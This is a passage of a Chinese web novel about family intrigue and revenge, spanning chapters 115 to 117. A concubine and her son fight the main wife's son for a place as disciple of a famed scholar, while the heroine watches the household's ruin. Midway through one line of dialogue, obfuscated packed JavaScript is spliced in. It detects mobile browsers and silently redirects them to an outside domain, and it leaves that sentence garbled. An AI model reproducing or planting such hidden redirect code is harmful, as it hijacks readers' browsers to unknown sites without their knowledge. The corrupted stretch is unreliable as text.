这也是孙大娘子迅速接受去道歉的原因,实在是事情关系到一家生计。 想到这里,孙大娘子忍不住冷冷地说:“淑儿,从阿娘这件事情上,你要学到一个很重要的教训。” 看婉淑一脸不解,孙大娘子立刻说:“你大姨母是个非常聪明的人,在闺阁里就是,她唯一的弱点就是心软,总记挂着弟弟妹妹,所以多年才能隐而不发。” 而也是因为这样,才是叫自己放松警惕的根源。 却没想到,她不发则已,一出手就打到了自己的要害。 如今她逼着自己承认当年的事情,含恨也要登门请罪……这一连串的行动,竟没给自己一点反击的机会。 “你要记住,日后若是得罪蠢货,倒不要紧,戏耍一番拿来解闷就是了。但是,若是得罪聪明人,就一定要记得斩草除根。”孙大娘子恶狠狠地对婉淑说,“我就是这些年过得太好,还以为自己一切尽在掌握,却没想到竟被她们阴了一把!常年打雁,反被雁啄了眼睛!” 婉淑惊讶地脱口而出:“阿娘,你真的、真的害过姨母吗?” 在婉淑看起来,大姨母仿佛是个木头,每次都冷着脸,母亲给什么也不知感恩;而小姨母则是每次上门,定然都是为了钱财,一副十分市侩的下人样子。婉淑一直心中看不起这两位姨母,在她看起来,自己阿娘养尊处优,又如何会与两位姨母计较? 孙大娘子听到婉淑的话,登时笑出声来,但是并不是喜悦,而是一种复杂的悲哀,她摸着婉淑的头,说:“我不后悔,淑儿,我确实是故意的。” 婉淑瞪大眼睛,愣住了。 孙大娘子眼神幽微,像是看到了很多年前的故人,她恶狠狠地说:“舅舅确实待我很好,可你小姨母总是奚落我是破落户,你大姨母虽呵斥她,却到底人家才是亲妹妹。这些也就算了,你舅母,当时可是真的想把我许给她娘家那浪荡子。” 那年孙萍才十五岁,那娘家侄子都二十五了,且性子浪荡轻浮,赌输了家产,以至于找不到妻室。 “当时舅舅已经生病,根本无力管这些事情,且舅母那娘家侄子惯会装相,舅舅根本不会信我。”孙大娘子说,“我不后悔。若不是当初我聪明,设计挣脱苦海,那就是我嫁那短命鬼,而后舅母的女儿得嫁高门、恩爱和睦……那又凭什么?!” 孙大娘子说到这里,冷声说:“当初我过好日子,那是我赢了,而如今她技高一筹,那便算我技不如人,我也不怨她们,大家不过是各凭本事罢了。” 孙大娘子看看婉淑,柔声说:“我不后悔,我唯一后悔的是我太托大了,被她们抓住机会反击。” 婉淑的神色也冷静下来,她握着母亲的手,认真地说:“娘,我知道你的意思了,日后我一定谨慎筹谋。” 孙大娘子拍拍婉淑的手,满意地笑了,说:“淑儿,你日后行事一定要比我更加谨慎,如此一辈子便稳当了。” 然后,孙大娘子说:“扶我起来,开我的库房,我亲自给两位表姐妹挑礼物。” 婉淑扶着阿娘起来,去了东院的西厢房,打开库房进去,婉淑陪着阿娘一箱箱地开了箱子,最后见到阿娘拿了一套压箱底的墨玉文房四宝、又拿了十几套成套的金银玉器,最后还拿了整整五十个十两的银锭子。 “阿娘,竟要拿这么多东西去赔罪吗?这太多了!”婉淑登时有些着急了,她阿娘这些年苦心经营,手头确实宽裕,但是阿娘还要给她置办嫁妆的庄子,还得给弟弟留钱花用呢,如今把现钱用了这么多,到时候她能买的庄子岂不是就愈发小了? “你大姨母聪明,恐不会收。”孙大娘子却叹了口气,轻声说,“你别心疼这点东西,若是她们能收,我反而放心,只可惜这些东西,怕是送不出去。” 看婉淑不解,孙大娘子便轻声说:“这厚礼,若是她们收了,其他人会如何看?” 婉淑便懂了,若是她们收了,在其他人看起来,这便是形同勒索。所以这礼物是绝对送不出去的。 婉淑一时有些松了口气,因为她买庄子的钱不会受影响。 但是与此同时又有些忧心忡忡,忧心她们若是不要钱财,阿娘到时候要如何结束此事。 孙大娘子看得出来她的忧心,便叹了口气,轻声说:“淑儿,不要为我操心,我已经过了十几年尊荣日子,难道便怕这一时伏低做小吗?” 她放低声音,说:“我素日每一步,哪一次不是这般战战兢兢,不过是再去外头演一演罢了,阿娘不怕。” 婉淑信以为真,她心中阿娘一直是无所不能,最是聪明的一个人,因此闻言也放下心来,点好东西,便陪着阿娘说了会儿话,自去休息了。 第二日到了中午,关怀素正在用点心,宁小娘上门了。 帘子掀开,宁小娘穿着一身桃粉,打着扇子面带笑容地进门,端的是风流袅娜,叫人眼前一亮。 “小娘来了,快坐。”关怀素立刻便起身要招呼,宁小娘坐下,说:“你吃你的,我是得了好消息,特地来与你说的!” 关怀素看宁小娘眉眼含笑,果然是兴奋异常,笑着问:“可是大娘子那边行事不顺?” 宁小娘眼睛一亮,说:“大姑娘果然是女诸葛!这都猜到了!” 立刻眉飞色舞点头说:“听说大娘子带的礼物都没进门,芸姑娘出来就给她泼了一身泔水,而后芸姑娘当街痛骂这个姨母,说大娘子狠毒,自己害大姑娘不成,便拿自己充数,害自己给马修文糟蹋,还给邻人看手上的伤,据说都一个多月,身上还有淤青没散完……那马修文真的不是个东西,得亏当初不是大姑娘!” 说到前面,宁小娘还眉飞色舞,说到后面,又是十分后怕。 上次见面还娇娇弱弱的芸娘居然也如此豁得出去,关怀素吐了口气,轻声说:“如此,除非婉淑与李辰瑜有大造化,大娘子这段时间翻不了身了。” 又立刻对宁小娘说:“大娘子的名声坏了,日后出门走动自然就少了,许多事情就不好出面去做了。小娘你这两天可以给父亲提庄子上的账目了。” 宁小娘一听,登时眼睛爆发出精光,她连声说:“那可好!” 又有些紧张地问:“到时候若是有不懂的,还是得麻烦姑娘。” 关怀素点头,宁小娘大喜,又说了会子闲话,便急匆匆地回院子整理账目去了。 当天下午,连着发生了三件事情。 一件事是家里事情都暂时全交给宁小娘代管、由管家李福从旁协助,孙大娘子要静养礼佛。 第二件事情,便是陈渠事情办好,送来了崔妙人的庄子地契。 关怀素看到地契,笑出声来,说:“你看,我说了,被卖过一次的孩子,会再被卖一次的。” 崔家小弟再次赌输了千两银钱,崔家人在家商议许久,崔家父母到底舍不得这个小弟,在富商过去拜访时,果然变卖了庄子。 “陈渠说,他们已经连夜回老家了。剩下的钱都没给崔小娘留。”丁妈妈小声说。 “叫陈渠回去歇着吧。顺便叫他转告跛三,叫他赶紧去接手这个庄子,一定要找到伺候过宁小娘的那妈妈,搞清楚当初宁小娘到底是怎么落胎的,以及宁小娘之后那个落红不下和发红疹斑又到底是怎么回事,背后可做了什么!”关怀素飞快吩咐。 “是。”丁妈妈忙应下来。 第三件事情,乃是庞大娘子告发李珺乃是维护继妻、蓄意打压妻弟,并呈上了当初庞家告发孙萍侵占庞家钱财田地的状纸。 “真的有状纸?”此事关怀素都不知道,闻言登时惊了。 “板上钉钉的东西,庞家姨奶奶托人来说了,是丽娘翻出来的陈年卷轴里夹着的。”丁妈妈回。 柳叶惊呆了,说:“丽娘?庞丽娘?她往日不是与婉淑关系最好的吗?怎地会突然帮庞家人?” 关怀素立刻想起来了,抚掌说:“庞丽娘前些日子得罪了良娣,上回我听兰妹妹说起过一句,恐怕影响到她的婚事,想来是真的出事了,她可能想明白自己被婉淑利用了。” 柳叶闻言,也瞬间想起来往日种种,立刻感慨说:“那婉淑以为自己聪明,玩弄人心,如今倒好,遭报应了。” 丁妈妈也点头,说:“人缺德事干多了,总会遭报应的。” 又有些担心地问:“姑娘,出了这事儿,老爷可还好?” 关怀素眯了眯眼睛,笑了笑,说:“哪怕有王相力保,父亲的乌纱帽只怕也保不住了。” 而另一边,李珺也得了消息。 他得知消息的时候,脸色瞬间惨白。 这事儿李珺自己都差点忘了,当时他刚娶孙萍,她执妾室礼嫁过来,李珺感动万分,对她实打实地愈发有了照拂之心。 于是在庞家人状告她带走的嫁妆不合理时,他顺手就压了下来,换得了孙萍尊重感激的眼神,令李珺极为自豪。 当时庞文还不过一个读书人,连功名都没有,李珺压根就没有把此事放在心上。 谁能知道,多年前随手办的一件事情,如今却成了如此重要的催命符。 “完了,完了!”李珺跌坐在榻上,心中只有这一个念头。 而孙萍得知这件事情的时候,脸色也变得惨白。 她并不知道此事严重到了什么程度,只知道只怕是不好了。 而所有人的预感都没错。 第二日,圣人降旨,李珺玩忽职守、挟私报复,当场被撸了乌纱帽,着令回家反省。 李珺引以为傲的官身,在这一日彻底没了。 第一百一十六章 再设玲珑局 就在这样的日子,迎来了婉蓉出门的日子。 出嫁之前,婉蓉和宁小娘闹了一场。 是因为陪嫁庄子的事情。 李珺当时答应婉蓉,不论嫁不嫁都会给她一个庄子傍身,如今家里是宁小娘掌家,自然这事儿也轮到了宁小娘来办。 宁小娘又不是什么圣人,自然趁此机会,给婉蓉安排了个最小最偏僻的庄子。 那庄子只得三百多亩,一年到头出息到顶不过五十两,婉蓉自然是不愿意,她在宁小娘屋里吵闹,又去叫李珺,李珺被罢官,正在屋里大醉,婉蓉一去,刚好撞上枪口,得了一顿狠骂,最后哭着跑出去的。 但是闹成这样,崔妙人也没出来替婉蓉说什么,反而把婉蓉压下去,老老实实咬牙忍了这个亏,等到了出嫁的那天。 “我还当她出嫁之前还要和我闹一场的。”宁双双掌家之后,愈发神色顾盼生辉,大早上天还没亮,便拉着关怀素一起用朝食,边笑着说,“不瞒大姑娘,我都做好准备了呢,谁晓得崔妙人居然忍得住。” “她八成还想着有自己的庄子,少不得给婉蓉贴补一些。”关怀素笑着说,“无事,过些日子,她手里没钱,自然就坐不住了。” 宁双双听出来了弦外之音,眼睛一亮,立刻笑着说:“那我可等着看笑话!” 二人说着,外头已经来客人,宁双双便出去开始招待。 婉蓉这婚事极其尴尬,好在大家都是有头脸的人,面上看不出任何不对,都言笑晏晏,只是心中如何想就不知道了。 关怀素作为姐姐,也陪着婉蓉在梳妆,也有素日与婉蓉交好的手帕交,大多也是家中庶女,进门之后也是一直夸赞婉蓉,又各种羡慕她得入高门,哄得这几日面色不好的婉蓉脸上笑容愈发明显。 婉淑也来了。 “二姐姐今儿真好看。”婉淑看盛装打扮的婉蓉,轻声笑着说,“愿姐姐此去从心所欲,万事顺遂。” 婉蓉笑着看婉淑,骄矜地说:“多谢妹妹。” 她神色之间,仿佛摆起了未来侯府主母的架子,如此不知所谓,倒是叫婉淑面上一滞。 但是婉淑养气功夫愈发好了,居然不动声色忍了下来,笑着站在一边,等着送婉蓉出门。 婉蓉与姐妹们说了一会子话,外头传来喧闹的声音,喜娘笑着说:“安乐侯的迎亲队伍来了,二姑娘该出门了!” 崔小娘今儿得了破例,可以亲眼看着自己的女儿出门,这会子早已经眼圈发红,满脸都是泪水。 众闺秀都退开,把地方让给崔小娘和李辰文,看着崔小娘亲自给婉蓉盖上盖头,扶着婉蓉站起身。 李辰文进门,过来背着姐姐出去,亲人们一路送出去,关怀素只是在后面远远地看着。 刘仁自己亲自骑马前来,并不摆架子,倒是叫李珺的脸色看着好看许多。 众客人们瞧着婉蓉显然受重视,气氛愈发和睦了许多,大家谈笑吃酒,闹了一番便陆续道辞。 这桩尴尬的婚事,到这里就算是彻底结束了。 与正经婚嫁大办几日完全不一样,婉蓉的婚事一上午过去,李珺便叫人拆了所有灯笼和装饰,像在李家从未出现过这种事情。 “行了,大家都散了。”李珺这几日神色极其颓靡,上午勉强挤出的笑容,等客人散了立刻也散的干净。 他冷声说:“大家都好好地,别再叫我家中再出任何一个蒙羞之人!” 说完,李珺拂袖而去,显然又要去喝酒了。 便在这个时候,丁妈妈伸头缩脑地出现,关怀素回屋,丁妈妈便说:“姑娘,孙少爷在八仙楼等您呢。” 师兄! 关怀素心中一紧,立刻便托词找姨母出了门,到地方立刻紧张地问:“师兄,你怎地突然来了,可是公主那边……” “不是,那边都很好,你上次给的水车图画的很精细,我已经做好,那边也顺利开始生产布料,已经接纳了好几批女兵了。”孙文书见她紧张,立刻解释,说,“发展的很好,已经赚了钱,安置了好几千人,我过来是上回给陆老先生传信的事情。” 上回耽搁了没送信,后来一直没消息来,关怀素便叹了口气,说:“陆伯伯可是不愿意?不愿意也无事,这事儿本就不光明磊落……” “他老人家答应了。”孙文书打断了关怀素的话,眼圈发红,轻声说,“他老人家在家里闭门了半个月,前几日传信过来,跟我说,他定不负师妹所求。” 关怀素眼圈一红,眼泪瞬间就下来了,她自打开始复仇之后,就一直步步小心,算无遗策,但是却在这一刻,真正地落泪了。 她哽咽地说:“陆伯伯一世英名,却遭我连累了。” 孙文书也是眼圈发红,他轻声说:“师妹别哭了,是李家人不仁不义在先!” 关怀素深呼吸,压下眼泪,现在不是哭的时候,她立刻说:“那麻烦师兄与陆伯伯说,我需要他这样做……” 她压低声音,轻声说完,孙文书立刻点头,最后临走的时候,从怀里掏出一个匣子,轻声说:“我娘说,今年你还没吃过桃脯呢。” 关怀素接过,打开一看,眼泪下来了,却是一笑,颤声说:“是啊,今年还没吃过桃脯呢。” 她拿了一块,放在嘴里,眼泪簌簌地落下,笑着说:“很好吃,很甜。” 在京师里独自承担了那么多噩耗,仿佛已经麻木了,吃到这一块桃脯的时候,仿佛才短暂地回过神来。 关怀素知道钟妈妈的担心,便叮嘱师兄:“师兄,跟妈妈说,我一切都好,事情办好,咱们就都好了,叫她放心。” 孙文书立刻重重点头,这才小心走了。 关怀素又坐了一会儿,柳叶小心地问:“姑娘,再吃几块桃脯再走?” 关怀素摇头,笑了笑,轻声说:“不,我要看戏的时候吃。” 二人起身回家。 果不其然,才三天,李家就闹起来了。 最先知道消息的是孙萍。 她躺在屋里静养呢,听说二哥儿来了,她心里叹气,还在对扶芳说:“二哥儿关心我,我知道,只是这些日子叫他少来些,免得他爹知道了迁怒他。” “二哥儿身边的松烟在哭呢,瞧着是在书院里出了什么事情。”扶芳却说。 “什么?赶快叫进来!”孙大娘子立刻从床上挣扎着坐起来,看着李辰瑜进来,脸色十分不好,立刻着急地问:“到底是出了什么事情?” 辰瑜的贴身小厮松烟立刻跪下,带着哭腔说:“娘子,娘子快去帮帮咱们哥儿吧!” 这话把孙大娘子唬了一跳,扶芳立刻皱眉说:“你好生说,没头没脑说什么呢!哥儿是娘子亲生的,什么事情还要跪下来说?” 松烟立刻着急地说:“大娘子可知道,咱们哥儿得了放翁先生的夸奖?” “什么?”孙大娘子愣了一下,即便她是个久居后宅的妇人,也知道白鹿书院山长的大名。 “可是那个曾被圣人留着讲书的陆大儒?”孙大娘子立刻问。 见到松烟点头,孙大娘子枯槁的脸上登时满面都起了光来,连声说:“这可是天大的喜事!那可是陆大儒啊!” 末了看松烟还在抹泪,又急了,问:“这大喜事,该替你主子高兴才是,你怎地如此作态?!” “娘子,陆大儒前天来了书院,考校了大家的功课,咱们二哥儿格外得了放翁先生的青眼,被拉着另外问了好几个问题,临走还夸哥儿机敏好学,是个好料子!”小厮立刻连珠炮弹地把事情说了出来,而后不等孙大娘子问就继续说,“当时二哥儿就想着回来给您报喜呢,结果今儿回来的路上才听说,陆大儒此次下山,是想收关门弟子!” “那又如何?咱们家哥儿得看中,好好争取就是,你这哭天喊地地在做什么?”扶芳忍不住插嘴。 “按道理也是,可是咱们方才才回家,就听说大少爷一大早就提前回来了,回来见了崔小娘,院子里小厮说大少爷和崔小娘在缠着老爷,叫老爷收拾东西给大少爷请陆大儒做老师!”小厮连珠炮弹地说完,旁边的辰瑜也憋不住了,眼圈发红喊了一声:“阿娘,那天明明是夸我!” “哎哟喂我的儿!”孙大娘子看小儿子这么一哭,登时心都化了,她一把抱住他,心中又充满了怒火,摸着辰瑜的脑袋,狠狠地坐起身,说,“我儿不哭,扶芳,你扶我起来!咱们去找你爹去!” 说完叫扶芳拿热帕子给辰瑜擦了擦脸,温声叮嘱:“瑜哥儿是男子汉,咱们有事儿去找爹爹说,何至于哭哭啼啼的?阿娘带你去找爹爹说话,咱们瑜哥儿是得了陆先生夸奖,想拜陆先生为师对吧?” 看辰瑜边擦脸边委屈地点头,孙大娘子笑了一下,说:“好好,一会子在你爹面前也老老实实说,可知道?” 看辰瑜点头,孙大娘子便起身,又对地上跪着的小厮说:“起来吧,松烟,你这小子也是个忠心的,知道给你家哥儿争,是好事。一会儿去老爷面前要如实说话,自少不得你的好处,可知道?” 松烟闻言立刻点头,见大娘子起身换了衣衫,便连忙也爬起来,匆匆跟了上去。 大娘子带着一行人走到前院,门口雪沫在守着,还没通传就听到崔小娘娇声说:“咱们文哥儿素来就擅长读书,老爷也是知道的,陆大儒若是收了文哥儿,日后少不得要继承老爷的衣钵呢!” 孙大娘子闻言气得咬牙,却反手拉住了激动地要跑进去的辰瑜,轻微地摇了摇头,自己当先进门。 一进去,崔小娘和李辰文就露出了紧张之色,孙大娘子仿如未见,面上只欢天喜地地对着李珺行礼说:“老爷大喜!” “哦?你那里有什么喜事?”李珺正被缠得厉害呢,闻言立刻接话。 孙大娘子欢喜地说:“方才瑜哥儿身边的松烟过来跟我说,前天咱们瑜哥儿被陆大儒考校功课,还得了夸奖,你瞧着瑜哥儿还害羞,自己不敢跟我说呢!” 这事儿李珺却不知道,立刻便惊讶地看着瑜哥儿,说:“瑜哥儿,这可是大事,你可不许撒谎!” “父亲,我没有撒谎,当时是咱们书院的山长陪着放翁先生来的,原也是一时兴起,叫了许多人,我当时连着答中了几回,放翁先生瞧着高兴,还送了我一块残墨。”辰瑜立刻从口袋里摸出一块山石状的墨块来。 那墨虽叫残墨,却并不真是用剩的,而是一种断墨的雅称。 这种墨一般都是极为昂贵的前朝老料子,有些已经技法失传,只能得一块,便以金漆封顶,刻字收藏,是文人雅客最爱的收藏之一。 李珺接过来一看,底部果然印着前朝刻章,上面金漆封顶,稍微一打量,这墨不是寻常能见到的东西,李珺已经信了大半,立刻说:“这是前朝的天青墨,是一百多年的老墨。你快些和我说说,当日到底是怎么回事,从头到尾给我说清楚,一丝也不许遗漏。” 辰瑜便把当日的事情全数说了,偶尔有不记得的,松烟也跟在身边立刻补全,李珺听完,简直是容光焕发,连声说:“好、好、好!” 他激动地起身,重重地拍在辰瑜的肩膀上,连声说:“没想到我儿竟得了放翁先生的青眼!这可是天大的好事!” 李辰瑜出生以来,自来都被大哥压着,哪里有这么风光的时候? 这会子激动得满面发光,竟说话也不知道说了。 还是孙大娘子立刻说:“我听松烟说,如今外头都在传,放翁先生似乎有意寻关门弟子,想着当日放翁先生这么夸奖瑜儿,显然瑜儿也是能入他眼的,便舔着脸来求老爷,若是此事当真,可能给瑜儿试一试,拜老先生为师?” 她这话说得妥帖,加上李辰瑜如此争气,李珺心中大喜,脸上说:“瑜哥儿也是我的儿子,这如何还要你求?放翁先生那日去书院,只怕就是存着找好苗子的意思。他既然能夸奖瑜儿,便已是给了风声,我儿争气,此事我定要给我儿办得漂漂亮亮的!” 竟是直接已经答应下来。 孙大娘子和辰瑜大喜,旁边的崔小娘却着急了,也不管别的,直接开口说:“珺郎,也别落下咱们文哥儿啊!当日考校,咱们文哥儿也得了陆大儒的夸奖呢!” 这话说的,李辰瑜说得清清楚楚,人家陆大儒考校了一圈,人人都随口夸了一句,但是唯有李辰瑜是被提溜出来考校了好几次,又连夸了几句稳重踏实。 这期间差距瞧着不大,但是明眼人都看得出来放翁先生到底是看中了谁。 但是要直接说放翁先生没看上文哥儿,在这里又实在拂了大儿子的面子。 李珺便笑了笑,对李辰瑜说:“这是大事,去叫你阿娘置办桌好酒席,晚上我们一家人一起庆祝一番!” 孙大娘子便知道这是支使他们离开,便笑着行礼,带着李辰瑜先走了。 “娘,大哥可没被夸奖,他脸皮真厚!”李辰瑜才出了前院,就憋不住对自己阿娘恨恨地说,“还特地提早来家里,定然是想抢在我前头!” 孙大娘子何尝不知道西院里母子的算计?可是她如今不比以前,因此只能轻声对李辰瑜说:“得亏我儿自己争气,他们再千般算计又如何?还不是抵不过瑜哥儿读书下苦功?这人啊,只要自己有本事,不怕他们弯弯绕绕!” 说完,她欢喜地吩咐扶芳晚上一定要开一桌好席面,连菜色也是要尽善尽美,今儿个谁都不许扫她的兴。 又连番吩咐,又叫前院伺候瑜哥儿的下人都多发一个月的月钱。 东院自打出了事情就一直低迷,这会子有了好消息,下人们也是精神一振,个个喜笑颜开,一扫前些日子颓败之气。 众人都欣喜若狂,没看到李辰瑜有些心虚地低下了头。 松烟也在旁边低着头,眼神闪烁。 第一百一十七章 李辰文辩白 那边孙大娘子志得意满离开,这边崔小娘和李辰文却是真着急了。 崔小娘眼珠子一转,眼圈一下子红了,捏着帕子捂着心口说:“珺哥哥,咱们文哥儿素来功课都比瑜哥儿还好些,好歹也给咱们文哥儿带上去,让文哥儿试试,若是、若是不成,那我们也认了!” 李珺大为头疼,耐下性子解释:“若是如此简单,我还要你说吗?文哥儿也是我儿子,若我能简单替他筹谋,又有何不愿意的?” 说完看崔小娘不解,便立刻说:“你当名满天下的大儒是这么好拜的?像是瑜哥儿这等得了先生青眼的倒还好,找些稀罕拜师礼便能去请见了。可若是先生不记得的、未曾上心的,不免需要打点许多,还要厚厚备了礼物去,方能显出诚意。” “要多少?实在不成,我去筹措一下!”崔小娘捏着帕子,咬牙说。 李珺叹了口气,说:“放翁先生喜欢黄老的画,若是能淘换到黄老的真迹,或能有机会叫他愿意见见文哥儿,考校一二。” 黄老的真迹,只怕怎么也得两三千两了,关键是黄老的老宅在战乱之中毁损,留存于世的并不多,根本没地方买,除非重金求购。 这么多钱,对李家来说也是极大的支出,根本没办法随便就挤出来。 崔小娘自然也拿不出来的,她登时急了,眼珠一转,立刻哭喊一声,回身去打李辰文:“你这死孩子,我让你当日让着瑜哥儿!我让你照顾弟弟,结果自个儿拜不上老师了!你是要割了我的心啊!” 说完,崔小娘便撕打起李辰文来。 李珺一惊,立刻上前拉开崔小娘,说:“你这是做什么!” 然后又问:“你说的是怎么个事儿,怎么文哥儿又让着瑜哥儿了?!” 崔小娘一抹眼泪,哭着说:“这死孩子,今儿早上回来就眼圈红红的,我问还什么都不肯说。还是问了沉砚,我才晓得当时放翁先生考校的时候,原是咱们文哥儿答对了两题,先生想再追问,却是瑜哥儿站到哥哥前面,说他也知道……” 崔小娘几句话把事情说的清楚,流着泪说,“文哥儿觉得自个儿是哥哥,素来照顾瑜哥儿,这么大的事儿他这死孩子竟也让了,还不敢叫我知道!我怎么养出这么个憨蠢的,竟是一辈子的事儿都让着!” 说完又哭着捏帕子指着呐呐的李辰文,恶狠狠地说:“你素日天天起早贪黑读书,前些日子还得了魁首,还跟我说要做和爹爹一样的清流雅士,现在可倒好,你倒是学你爹爹做好人,我也管不得你了,以后你且就在那书院里念书,慢慢熬,叫瑜哥儿去自个儿拜大儒当老师吧!” 说到这里,崔小娘重重跌坐在书房的榻上,趴在棋盘上大哭起来。 李珺听得心中剧震,不可思议地看向李辰文,说:“文哥儿,这事儿可是真的?!” 李辰文眼圈通红,擦了擦脸上的眼泪,只咬牙说:“爹,是孩儿学艺不精,怨不得别人。” 儿子越是这么说,李珺越是惊疑不定,立刻便叫李辰文旁边的沉砚,怒声呵斥:“当日是个什么情形,你给我说清楚!” 沉砚上前,李辰文还要拦他,急声说:“沉砚,不要胡说!” 沉砚立刻义愤填膺地说:“大哥儿,沉砚平素都听您的话,您说什么是什么,可今儿这事儿沉砚不能由着您了,沉砚得说实话!” 说完沉砚“咚”的一声,双膝跪下,对着李珺行了个礼,说:“老爷,二哥儿确实也读书扎实,确实答对了放翁先生的题。可是原是咱们大哥儿答得好好的,放翁先生也极其满意咱们大哥儿,接连在考校咱们大哥儿,却没想到大哥儿答得正顺畅呢,瑜哥儿匆匆来了,一来就冲到大哥儿前面,拦下了放翁先生,自顾自拉着先生说了半晌,直到先生走了,都没来得及再考校其他学子。回来的时候大哥儿心里难受,可是却也不打算说,大哥儿受的这个委屈,沉砚却替咱们哥儿难受,若是凭真本事输了也就输了,可咱们哥儿没输啊!” 说完,沉砚眼泪也下来了,对着李珺说:“老爷您也知道,咱们大哥儿读书素来是最最上心的,鸡鸣起夜半睡,上回也是拿了魁首,本来山长第一个就是叫大哥儿去见放翁先生,意思也十分明白。沉砚知道今儿说这些话,是小子太逾矩,可是小子替咱们大哥儿不服!便是大哥儿怪罪,日后不许沉砚跟着,小子今儿也要说实话!” 说完,沉砚哭着以首俯地,一时也是哭声哀哀。 李珺听到这里,看大儿子憋着眼泪,却死死咬牙,心中一时剧震,一时对这大儿子的敦厚友善十足喜爱,又忍不住心疼。 李珺几步上前,重重拍在李辰文的肩膀上,有些责备地说:“这样的事情,有什么好遮掩的?” “父亲!”李辰文终于痛哭出声,说,“父亲,孩儿并不后悔,做哥哥的让着弟弟本就是应该的,如今巴巴地说出来,倒显得孩儿是计较的人了。” 又怒声说:“都怪沉砚这混账,不听我的话,竟眼巴巴地闹到小娘面前,反叫小娘伤心了!” 李珺又好气又好笑,呵斥:“说的什么混账话!你小子知道成为放翁先生的弟子到底意味着什么吗?沉砚都比你知道轻重!” “有什么不懂的?”李辰文却说,“不就是放翁先生简在帝心,桃李满天下,便是王相当初也在白鹿书院听过书,按理也得叫放翁先生一声老师?不就是拜了放翁先生,日后便能平步青云?儿子若生来有这个命,便是不拜师也是有的,若没这个命,便是巴巴地钻营又有何用?还不如踏踏实实念书!” 这话说得掷地有声,李珺原以为他是年纪轻不知轻重,这会子才知道,这大儿子竟是什么都懂,却还是可以不要这个名额。 这便是真正地视名利如粪土,也是真正地敦厚仁善。 李珺心中对这大儿子登时爱若珍宝,但还是试探,便点头,说:“你真的不后悔?” “不后悔!”李辰文点头,眼圈还在发红,对李珺说,“我还要求父亲把沉砚调走,给我找个听话的书童!” “好、好、好!我李家竟出了这等心志高洁的麒麟儿!”闻言,李珺大笑三声,登时觉得这些日子发生的一切坏事都一扫而空,二儿子天生聪慧,大儿子不但聪明,还友爱兄弟、志存高远,李珺这一刻,只觉得这辈子真正是满足到了极点。 他朗笑完,立刻亲昵地斥责李辰文:“不许责怪沉砚!” 又对跪着的沉砚说:“沉砚,你做得很好,日后好好跟着你家哥儿,有事可不许让他如这回胡闹了,下去吧。” 说着,就叫李辰文和沉砚都下去。 崔小娘哭着就喊:“老爷!您真就让咱大哥儿受这委屈啊?!” 李辰文给小娘使眼色,崔小娘才发现自己没反应过来。 果然就听李珺叹了口气,笑着说:“这事儿,我来想办法。妙人,你养出了一个好儿子,可别哭了,该开心才是。” 崔小娘就明白,辰文拜师的事儿定然有了转圜余地,便立刻转嗔为喜,却也并不轻狂,只擦着眼泪说:“珺郎知道文哥儿的好,我便放心了。其他时候,他再怎么敦厚也不打紧,可这事儿是绝不可胡来的!” “是,文哥儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408700|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照顾兄弟是一回事。但是下次遇到这种事情,也不用瞒着,都告知爹娘,让爹娘想办法才是!”李珺闻言,也点头说,“你弟弟年少,想不到那么多,但是父亲定也不叫你们兄弟其中一个吃亏。” 李辰文便躬身领训,一场风波到了这时候,算是结束了一半。 关怀素听到这消息的时候,宁小娘正过来,叫她一起结伴去前头用饭。 刚巧听到丁妈妈说起这事儿,宁小娘撇撇嘴,拧着帕子说:“难怪崔妙人和孙萍都盯着我的肚子使劲儿呢,你瞧瞧你爹,前些日子都跟要**一样,这会子倒是好,两个儿子一争气,立刻也不难受了,也不厌弃孙萍和崔妙人了,这会子连宴席都摆上了。” 关怀素也十分感慨,说:“崔妙人脑子确实快,大哥儿也是演戏的一把好手,往日倒是没看出来。这会子大娘子只怕要恼火了。” 又安慰崔小娘:“小娘若是心里不舒服,不如在屋里休息。” “我可不会不舒服。”宁小娘嘻嘻笑,说,“如今我管家里的事情,宴席的菜色、下人安排等诸事都要我盯着,我可不能歇着。” 看关怀素担心,又笑着说:“无事,郎中说我身子慢慢养好,日后想生还多的是时候,我还年轻,何必这时候伤春悲秋,倒叫仇人快活?” 该说不说,宁小娘在乡下长大,漫山遍野的跑着长大的乡下姑娘,反而有种被囚困于后宅的女子没有的狠劲和精气神。 关怀素极爱她这种自爱自强的性子,捏了捏她的手,笑着说:“既然如此,小娘可要打扮漂亮些,一会子瞧瞧孙大娘子与崔小娘斗法,定然很有趣。” 宁小娘闻言,立刻笑着说:“那我把你送我的那银红纱做的牡丹外披穿上!” 说着,果然就叫青黛去拿了外披过来,那银红绣牡丹的大袖一上身,果然叫宁小娘看着姝艳无双。 二人一起结伴去正院,进门就发现,孙大娘子的脸色果然不太好看。 关怀素过去的时候,正听到崔小娘说:“文哥儿照顾弟弟,若是能一起做了放翁先生的弟子,到时候也定会好好照顾瑜哥儿。” 孙大娘子一听,立刻不可置信地看向李珺,说:“老爷,怎地文哥儿也要拜师?” 李珺便皱了皱眉,说:“文哥儿在放翁先生对答的时候主动让了瑜哥儿,不过是顺手罢了,若是兄弟两个能一起拜得名师,未来也可以互相帮衬,你这是什么作态?” “哥哥让我,是怎么回事?”李辰瑜也愕然了,说,“当时放翁先生问话,明明是我看哥哥回答不上来,才特地前去解围的,这会子怎么成让我了?” 这话说得,李珺一愣。 李辰文想说什么,却生生忍了下来,只垂下头,轻声说:“若是如此,父亲不用替我备拜师仪程了,我就在现在那书院里念书,也没什么大事。” 怎么能一样呢? 明年春天就要下场考试了,若是放翁先生的弟子,这半年得名师指点,说不定便能得个好名次,说不得中了小三元,日后便是蟾宫折桂的名仕之路。 这可和在小书院里蹉跎完全不一样! 可这大儿子却还是忍了,一时竟叫李珺愈发认定他性子敦厚,一开始十分满意小儿子聪慧,这会子也觉得他尖刻,不免不喜,怒斥:“你哥哥从不与你相争,素日什么好事儿都想着你,可你怎地如此尖刻,做妇人之态!你们可是兄弟,一荣俱荣、一损俱损,你若如此不能容人,我日后如何指望你?!” 